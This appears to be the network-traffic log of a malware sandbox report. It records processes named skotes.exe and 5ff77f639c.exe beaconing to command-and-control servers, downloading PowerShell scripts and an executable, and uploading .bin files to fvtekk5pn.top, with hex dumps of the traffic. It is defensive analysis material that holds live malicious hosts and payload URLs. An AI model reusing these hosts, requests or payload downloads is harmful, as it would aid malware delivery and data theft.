Nov 24, 2024 02:14:25.814930916 CET	803	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 68 31 3e 0a 3c 70 3e 49 66 20 79 6f 75 20 73 65 65 20 74 68 69 73 20 70 61 67 65 2c 20 74 68 65 20 6e 67 69 6e 78 20 77 65 62 20 73 65 72 76 65 72 20 69 73 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 69 6e 73 74 61 6c 6c 65 64 20 61 6e 64 0a 77 6f 72 6b 69 6e 67 2e 20 46 75 72 74 68 65 72 [TRUNCATED] Data Ascii: 264<!DOCTYPE html><html><head><title>Welcome to nginx!</title><style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; }</style></head><body><h1>Welcome to nginx!</h1><p>If you see this page, the nginx web server is successfully installed andworking. Further configuration is required.</p><p>For online documentation and support please refer to<a href="http://nginx.org/">nginx.org</a>.<br/>Commercial support is available at<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49839	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:27.562927961 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 37 32 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008572041&unit=246122658369
Nov 24, 2024 02:14:28.988228083 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49844	31.41.244.11	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:29.112946033 CET	79	OUT	GET /var/www/html/files/5124158732/6OMLg7r.ps1 HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 02:14:30.497759104 CET	803	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 68 31 3e 0a 3c 70 3e 49 66 20 79 6f 75 20 73 65 65 20 74 68 69 73 20 70 61 67 65 2c 20 74 68 65 20 6e 67 69 6e 78 20 77 65 62 20 73 65 72 76 65 72 20 69 73 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 69 6e 73 74 61 6c 6c 65 64 20 61 6e 64 0a 77 6f 72 6b 69 6e 67 2e 20 46 75 72 74 68 65 72 [TRUNCATED] Data Ascii: 264<!DOCTYPE html><html><head><title>Welcome to nginx!</title><style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; }</style></head><body><h1>Welcome to nginx!</h1><p>If you see this page, the nginx web server is successfully installed andworking. Further configuration is required.</p><p>For online documentation and support please refer to<a href="http://nginx.org/">nginx.org</a>.<br/>Commercial support is available at<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49850	34.116.198.130	80	7228	C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:31.619858027 CET	642	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 463 Content-Type: multipart/form-data; boundary=------------------------WsagnpmDq1gZuFa7TyTKY2 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 57 73 61 67 6e 70 6d 44 71 31 67 5a 75 46 61 37 54 79 54 4b 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4a 61 63 65 76 75 67 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a fe 4a b1 40 9e cf a2 db b6 c6 b2 f4 36 c8 05 a1 f3 cb 86 2f e3 c4 82 8a 3e 30 10 d4 ac 6a 0c 28 e9 a0 fc ef f9 79 50 77 6e f6 2a e0 c7 b0 d1 1d 92 97 11 c6 91 28 e2 76 11 c7 30 47 a9 ea d0 c0 f0 2c 22 32 b8 33 56 5e 0c f2 71 2f 3d 32 85 75 96 19 89 3e 29 f6 67 c9 ca e3 f6 9a eb f0 f5 f6 7f 95 8f 68 d5 fe cc 04 c0 e9 37 a6 ea 6d aa eb 6e 8d 93 7a 6c a1 3a 32 db 4d 53 4c 0c b1 21 36 a1 a0 ed 73 27 34 ed e0 9f 27 b6 6a 2d 24 05 11 46 1a 96 33 73 c0 91 d9 a2 3d 4e 1c ea 58 de 78 f0 19 62 46 b8 2c a8 a7 a5 0e 66 88 99 06 ac e3 43 [TRUNCATED] Data Ascii: --------------------------WsagnpmDq1gZuFa7TyTKY2Content-Disposition: form-data; name="file"; filename="Jacevug.bin"Content-Type: application/octet-streamJ@6/>0j(yPwn*(v0G,"23V^q/=2u>)gh7mnzl:2MSL!6s'4'j-$F3s=NXxbF,fC#%VWj>Z?a\c@Mq$V;9d]Fnbe--------------------------WsagnpmDq1gZuFa7TyTKY2--
Nov 24, 2024 02:14:33.000646114 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sun, 24 Nov 2024 01:14:32 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1732412673 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49853	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:32.186450958 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 37 33 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008573041&unit=246122658369
Nov 24, 2024 02:14:33.569962025 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49857	31.41.244.11	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:33.702316999 CET	79	OUT	GET /var/www/html/files/5124158732/DcDqduU.ps1 HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 02:14:35.132932901 CET	803	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 68 31 3e 0a 3c 70 3e 49 66 20 79 6f 75 20 73 65 65 20 74 68 69 73 20 70 61 67 65 2c 20 74 68 65 20 6e 67 69 6e 78 20 77 65 62 20 73 65 72 76 65 72 20 69 73 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 69 6e 73 74 61 6c 6c 65 64 20 61 6e 64 0a 77 6f 72 6b 69 6e 67 2e 20 46 75 72 74 68 65 72 [TRUNCATED] Data Ascii: 264<!DOCTYPE html><html><head><title>Welcome to nginx!</title><style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; }</style></head><body><h1>Welcome to nginx!</h1><p>If you see this page, the nginx web server is successfully installed andworking. Further configuration is required.</p><p>For online documentation and support please refer to<a href="http://nginx.org/">nginx.org</a>.<br/>Commercial support is available at<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49861	34.116.198.130	80	7228	C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:34.384793997 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 89527 Content-Type: multipart/form-data; boundary=------------------------Mn2RbmmGKNX2IVvS0YVh9R Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4d 6e 32 52 62 6d 6d 47 4b 4e 58 32 49 56 76 53 30 59 56 68 39 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 69 64 65 68 61 6a 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 7f 23 42 d3 ef 5c 42 cf c5 58 11 c2 28 99 01 b2 b0 86 5b 68 2d 6a 4f ad 52 9d 0d ab 8d 20 78 9d 5c e5 00 a7 7f de 53 7d 03 01 77 e6 02 1d c7 9e 87 86 af 1d cb ee 76 ad 2d 70 50 be f8 08 ee 03 64 b3 26 81 57 06 90 41 c9 99 43 48 42 36 e4 0c 03 33 8c 54 b2 9f ff 69 ec 88 f0 92 ef 39 ad c1 94 db 0a c8 1c 3e fc 48 00 ff 3a 0f a7 8e 04 08 42 46 0a 01 38 9d cc f2 fc 83 5f 9b ec 13 fb 10 78 7e 33 ca 17 e6 71 b6 10 ad 9a 99 01 3d 3a 90 37 ac a4 e0 40 8a 1f b3 a0 77 27 c0 21 05 9e 5c b6 e6 59 bd 5d 4b 6b f5 32 f5 22 17 4e b1 9b 35 f2 [TRUNCATED] Data Ascii: --------------------------Mn2RbmmGKNX2IVvS0YVh9RContent-Disposition: form-data; name="file"; filename="Nidehaj.bin"Content-Type: application/octet-stream#B\BX([h-jOR x\S}wv-pPd&WACHB63Ti9>H:BF8_x~3q=:7@w'!\Y]Kk2"N5bx7E80gk{yo@7f(jQt`\$R#9M%42Ggy}^9:qU)5%9sq%NbyfO/S+K4q\&%B6:g\c$vJscT~fh\]U.,ODn,i/!F[o02KF5 kDTP"4m]3^xFdO;Z8al8Juzc5_b?Y_}$^9}v#g%Q16sT8Oni%kC17vnB+<pt>7pFnXHh0e?(I{fH?"p9+</\|xFx'4D&RAleJchs\|Qlk3.C4w\|Q%'z`H(y3Veaeku+0BzY<=&K^Ytz\$W3;(p-F.*(`~w+>~@ [TRUNCATED]
Nov 24, 2024 02:14:34.504467010 CET	2472	OUT	Data Raw: 76 7d 41 b4 25 59 0c 88 8b a2 cf 91 15 bf b0 9d a4 10 05 8f 7d d0 89 23 3d 05 56 24 86 e5 87 19 40 be 23 60 2e 9a c0 6c 91 62 0a 89 c0 9d b2 21 ff 9a b2 cc 22 fc 25 ee 0f 08 0e dc cd 4f d8 05 6e 78 ed e8 c6 3c 75 a5 21 e3 5f c2 89 2b b3 13 a9 79 Data Ascii: v}A%Y}#=V$@#`.lb!"%Onx<u!_+y%G-~PvUx6A_LH]C@`yyc&tjZNYm6 $#PZlB5)ju2jOB"bA%vpt~?@[#*{~O@9PrpuII=
Nov 24, 2024 02:14:34.504513979 CET	2472	OUT	Data Raw: 8c dd 64 ae e1 fc 42 99 e5 52 80 ac cd 19 78 ec 18 37 4d 16 92 b0 80 20 93 af 9a 08 aa ce a9 65 67 ba 59 b2 57 0d 28 b7 81 ef ba 76 3a cc 80 03 d1 7a 2d 31 6d 27 e2 4b 3f 55 62 55 3b e5 06 9d 04 c7 28 3d 51 e7 d3 ce 69 69 ed cc b2 e8 b7 f1 1e a1 Data Ascii: dBRx7M egYW(v:z-1m'K?UbU;(=Qiir4yfisB?,]uaeElfn0 nCjjzIJfgzG&l,DL zzJ"{~04)`J(bol[0>pde5o\34`
Nov 24, 2024 02:14:34.504573107 CET	2472	OUT	Data Raw: 86 6e eb 83 63 9d 38 df d7 6c f8 27 39 6e 30 c2 25 ec 0c 2a b9 36 a3 e8 46 81 77 f4 18 06 c0 c6 df a8 a4 ee 7e a0 3a 4c 04 1a 3c 65 65 ef dc 9c b5 76 e9 5c ba 6c 66 0a 30 4e 43 e3 d7 c6 e9 5b c2 1b 7c a2 69 7a 5c 41 9f b5 e3 eb d9 5b e2 bc 2b aa Data Ascii: nc8l'9n0%*6Fw~:L<eev\lf0NC[\|iz\A[+X.8+]L<S`~327[~?PkE`{2^P;mQ]!2uGn\ 4s<m'75b}r9 m4aOTfv[4TY=7C-
Nov 24, 2024 02:14:34.504591942 CET	2472	OUT	Data Raw: 52 b0 6b 51 91 cf e2 64 bd f6 eb 16 a4 06 da 41 8a 5d 66 03 05 3d 06 4a 98 fa ec f5 73 1d b7 e8 7e 1c 12 06 e2 b7 5c 73 21 1e ab c2 00 21 1e 7d c1 5c 50 69 83 30 14 ee 7d 3e 57 67 c2 33 c5 4f c6 c1 f5 86 81 3a 87 43 1d af 6a 17 9a a6 19 cd d7 2d Data Ascii: RkQdA]f=Js~\s!!}\Pi0}>Wg3O:Cj-GmG b*v?O#KT7h"]D>w1,hAc6\wE1c/CYF?885mk;=a]BQi.E"VlftjxnG$1wfKQ
Nov 24, 2024 02:14:34.504667997 CET	2472	OUT	Data Raw: 59 de f4 b4 b2 43 ed 1d 6e 34 29 35 b5 e6 16 3f a1 ee d2 ac e8 03 cd 80 93 1b ee 91 8f a2 74 94 5d b5 6c 1c 34 df b3 56 08 c9 c3 10 0f 8f 9e 42 cc 60 85 b5 eb e5 c8 06 82 cc f5 e7 fd b3 6d c9 22 21 3b 6b a4 14 da 66 9d 73 11 22 f7 6a e9 f9 d7 c6 Data Ascii: YCn4)5?t]l4VB`m"!;kfs"jt-!S=D{VU8{FwNyrDf$VH3}Ox9nFa\|: lQ478omHhqVbKsh}o+?LY38
Nov 24, 2024 02:14:34.504759073 CET	2472	OUT	Data Raw: 66 f0 3f e2 19 0a 01 fc 36 01 33 37 2e b5 85 a5 63 1a 17 e9 15 c1 d4 cd 1e d9 9d 32 c4 b8 5e 02 d3 ce 1e c7 fe 07 26 81 bf 5c 7e c7 d7 ef 57 68 aa fb 66 84 5d a0 01 a3 6f c9 20 66 96 5e 47 c3 0c cb ec c5 f0 69 71 ee 37 6b ef cd 45 4d 7a 87 76 e6 Data Ascii: f?637.c2^&\~Whf]o f^Giq7kEMzve_,ZxdQG%`cn4Ux,AYL#GaktS/}#gaCECv],IhHL[*O;R}j2+<R7dB}
Nov 24, 2024 02:14:34.504780054 CET	2472	OUT	Data Raw: 0e c0 0c 81 c2 dd 40 d7 e0 62 ca ff 8a aa 2a 4a 86 ab cd e6 26 03 3f ed 46 74 39 7a 9a 2a 94 22 6f 46 9a 4c ad 81 3c 8a 7c 4f e6 41 18 25 4e 90 8f e7 fb 8e ae 9e 31 b3 ec 9c 12 18 49 40 e8 60 0c d8 49 4a 88 f5 e2 1b e2 90 d7 aa 90 6b 53 18 0e 4f Data Ascii: @bJ&?Ft9z"oFL<\|OA%N1I@`IJkSOG&k#aTfQMR"%WNq,c0JVr%nH%_!&>g\|@X6aI_TI8qQ@4&%]@<;DO01r)
Nov 24, 2024 02:14:34.504796028 CET	2472	OUT	Data Raw: 36 c4 d1 aa fd 5b d9 3e 1e 8e 64 36 1e 8b e2 7a 64 5c 51 50 f9 a3 c7 aa e1 cd fa c7 e2 98 59 6f 4c 58 9c d5 fe 10 0f b5 cd 85 df cb ab c5 1c ce 27 3f 62 75 35 82 1f b0 a0 f3 9f 41 42 54 4a 14 d0 a3 ac a8 09 ae b7 c2 5a cc 59 b0 a1 bf f3 bb 50 85 Data Ascii: 6[>d6zd\QPYoLX'?bu5ABTJZYP"g],IP6:F7I3F/JcX>I>s^;.;3-ptknPX)qn$)*Ke%D@o3X N(^YjpB_Lg:ju_veM%L
Nov 24, 2024 02:14:34.504873037 CET	2472	OUT	Data Raw: 65 1d 79 b0 3b 8e bb 7b 17 cb 79 6a 43 b5 88 2a ff f5 9f 1e ae 54 16 6b a9 b3 d4 cf 95 18 eb 42 12 b8 d2 7e 05 d0 10 75 8d 10 f4 b1 0a 26 0f c4 e6 7b dd c5 83 c1 1b 8d 07 2c e6 80 0c 6f 4e 5e ac 6c 22 a3 cb e2 e3 79 d8 5f 9a c4 ba f6 74 18 e5 6e Data Ascii: ey;{yjC*TkB~u&{,oN^l"y_tn4J83 dCEzi=.VDV{s6@q#@1U:{2p7d^]NbBXg JVqtSAH;A@GI\|{`0t
Nov 24, 2024 02:14:34.504894018 CET	2472	OUT	Data Raw: 94 fd 58 58 91 2f 2e 95 1f fd 97 bc 41 76 0b 80 3e 64 23 2a 76 1a f1 40 45 a1 c9 54 ec c4 dd 61 e6 7b 68 06 0a b8 20 2c d1 67 65 c9 b6 a0 54 ff 09 fb aa 61 84 24 5b d9 73 3c ea ec e5 24 d0 20 d4 85 46 69 93 7f 00 e8 3a 0e 3f 4c 38 18 d5 0e 58 b4 Data Ascii: XX/.Av>d#v@ETa{h ,geTa$[s<$ Fi:?L8Xv)%Kih+K:a!6mZp7"tc;C~)F5wlG%:>0_$Za0;azL@0[z9-;5
Nov 24, 2024 02:14:36.253717899 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sun, 24 Nov 2024 01:14:36 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1732412673 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49868	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:36.796850920 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 37 34 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008574041&unit=246122658369
Nov 24, 2024 02:14:38.183991909 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49870	185.215.113.16	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:38.309535027 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 02:14:39.696043015 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:39 GMT Content-Type: application/octet-stream Content-Length: 1891328 Last-Modified: Sun, 24 Nov 2024 00:58:05 GMT Connection: keep-alive ETag: "67427a1d-1cdc00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 d0 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4b 00 00 04 00 00 a4 8f 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?gJ@K@\pp `b@.rsrcpr@.idata t@ *v@bydimkjm@0>x@rvusllyzJ@.taggant0J"@
Nov 24, 2024 02:14:39.696074009 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:14:39.696086884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:14:39.696129084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:14:39.696141958 CET	1236	IN	Data Raw: d6 f2 91 a7 f5 d4 99 27 3d cc 84 40 91 eb dc f0 95 7a 60 fd 50 85 4b 70 fd 0f ca e3 55 4d 2c 70 04 14 94 f0 ed 8a 7a e2 3e 02 f8 64 d1 f3 48 a9 df 62 87 a8 1f c2 24 1c b8 57 df 25 33 a9 8d 6d 3e 17 1d c4 55 52 84 c3 4c 5f ae 02 47 89 1f e1 05 9b Data Ascii: '=@z`PKpUM,pz>dHb$W%3m>URL_G`h:sa}1KTYui_MjU`fiH&[w}\pOyL3v+Msj1xkJs]x
Nov 24, 2024 02:14:39.696154118 CET	1236	IN	Data Raw: 81 69 ba f8 fd a7 a7 cc 95 5d 9d e4 c2 37 ee 57 11 ae a7 da 4f 95 89 58 7c c8 b6 e8 d7 4a 6b da ee cb 5b 39 3d b2 70 f1 a7 43 43 58 de 8e 76 63 f2 8a 4b a2 9b a3 27 5d 62 2b 4f f8 27 6d 94 ce 6e bc e8 c5 b9 f7 49 d5 8e 93 6d bb 34 fe 82 be 4d 63 Data Ascii: i]7WOX\|Jk[9=pCCXvcK']b+O'mnIm4McWGs&H0v=wJN~0>OeTkS}ql"t19C*79",{8u<Lc6E+
Nov 24, 2024 02:14:39.696259022 CET	1236	IN	Data Raw: 30 69 f7 70 b3 b2 6b ec 9b 69 80 e9 c6 08 6e e4 b7 4d 32 36 60 3b 0c d0 2d 74 28 15 d8 7e aa a1 c8 cb 1e 2c f1 59 f4 94 25 02 5f e4 d7 06 8c 75 a5 26 78 94 20 02 9a 25 97 c8 8d 9a ea 32 91 fa 3d 97 70 ab 14 3d d8 f3 0f 8b be e2 4d db dd 08 38 73 Data Ascii: 0ipkinM26`;-t(~,Y%_u&x %2=p=M8sZIn){sZlU7X2O\|j"3L y5I.Nm2%P[!#z/Yb1^r=nhpH,J
Nov 24, 2024 02:14:39.696271896 CET	1236	IN	Data Raw: 88 c5 c9 d1 1e 8b 4f 61 fb 2a e8 86 f8 1f f6 79 3c b0 11 3a 5e 9d 0c b0 07 ce c8 db dc 05 98 94 3b 0a 6d 40 3d 02 5b 20 9e 99 00 74 32 1b 3c 60 52 9e 5b f4 6b 26 87 c0 9c a4 63 44 8d eb d4 8a 39 91 00 73 04 a2 61 9f e0 9d 73 42 35 cb 87 90 96 11 Data Ascii: Oa*y<:^;m@=[ t2<`R[k&cD9sasB5xaomZv<\7r-P>Dm_j;fxSL'Um ib{o^3e[\|tq9.2D$Ir\J-d='
